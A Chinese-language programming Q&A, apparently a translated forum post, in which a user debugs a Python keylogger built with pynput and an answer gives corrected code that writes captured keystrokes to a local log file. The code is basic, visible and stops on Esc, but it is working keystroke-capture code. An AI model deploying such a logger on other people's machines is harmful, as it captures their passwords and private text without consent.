我使用 python 制作了一个简单的键盘记录程序，但它显示“TypeError: write_file() 需要 0 个位置参数，但给出了 1 个”

问题描述

这是我的主程序，我使用了pynput库来制作这个程序：

import pynput

from pynput.keyboard import Key,Listener

count = 0
keys = []

def on_press(key):
    global keys,count
    keys.append(key)
    count += 1
    print("{0} pressed".format(key))

    if count >= 10:
        count = 0
        write_file(key)
        keys = []

def write_file():
    with open("log.txt","a") as f:
        for key in keys:
            k = str(key).replace("'","")
            if k.find("space") > 0:
                f.write("\n")
            elif k.find("Key") == -1:
                f.write(k)
            f.write(str(key))

def on_release(key):
    if key == Key.esc:
        return False

    


with Listener(on_press=on_press,on_release=on_release) as listener:
    listener.join()

在控制台上，程序会跟踪所有被按下的键，但当计数达到限制时，它会显示数据，而不是将数据存储在“log.txt”中：

Key.shift pressed
    'H' pressed
    'e' pressed
    'l' pressed
    'l' pressed
    'o' pressed
    Key.space pressed
    'w' pressed
    'o' pressed
    Unhandled exception in listener callback
    Traceback (most recent call last):
      File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\_util\__init__.py",line 211,in inner
        return f(self,*args,**kwargs)
      File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\keyboard\_win32.py",line 280,in _process
        self.on_press(key)
      File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\_util\__init__.py",line 127,in inner
        if f(*args) is False:
      File "C:/Users/Innnova/PycharmProjects/Keylogger/main.py",line 16,in on_press
        write_file(key)
    TypeError: write_file() takes 0 positional arguments but 1 was given
    Traceback (most recent call last):
      File "C:/Users/Innnova/PycharmProjects/Keylogger/main.py",line 37,in <module>
        listener.join()
      File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\_util\__init__.py",line 259,in join
        six.reraise(exc_type,exc_value,exc_traceback)
      File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\six.py",line 702,in reraise
        raise value.with_traceback(tb)
      File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\_util\__init__.py",in on_press
        write_file(key)
    TypeError: write_file() takes 0 positional arguments but 1 was given
    'r' pressed

如您所见，我正在尝试编写“Hello World”，但是当我在“Hello World”中遇到单词 R 时，程序就会向我抛出 TypeError

解决方法

从 write_file() 中删除一个写入命令以避免重复输出到日志文件。我稍微修改了代码，请参阅内联注释。

import pynput

from pynput.keyboard import Key,Listener

count = 0
keys = []

def on_press(key):
    global keys,count
    keys.append(key)
    count += 1
    print("{0} pressed".format(key))

    if count >= 10:
        count = 0
        write_file(keys)
        keys = []

def write_file(keys):
    with open("pynput-log.txt","a") as f:
        for key in keys:
            k = str(key).replace("'","")
            if k.find("space") > 0:
                f.write("\n")
            elif k.find("Key") == -1:
                f.write(k)
            #f.write(str(key))  this caused duplicate output

def on_release(key):
    if key == Key.esc:
        write_file(keys)  # write remaining data
        return False

with Listener(on_press=on_press,on_release=on_release) as listener:
    listener.join()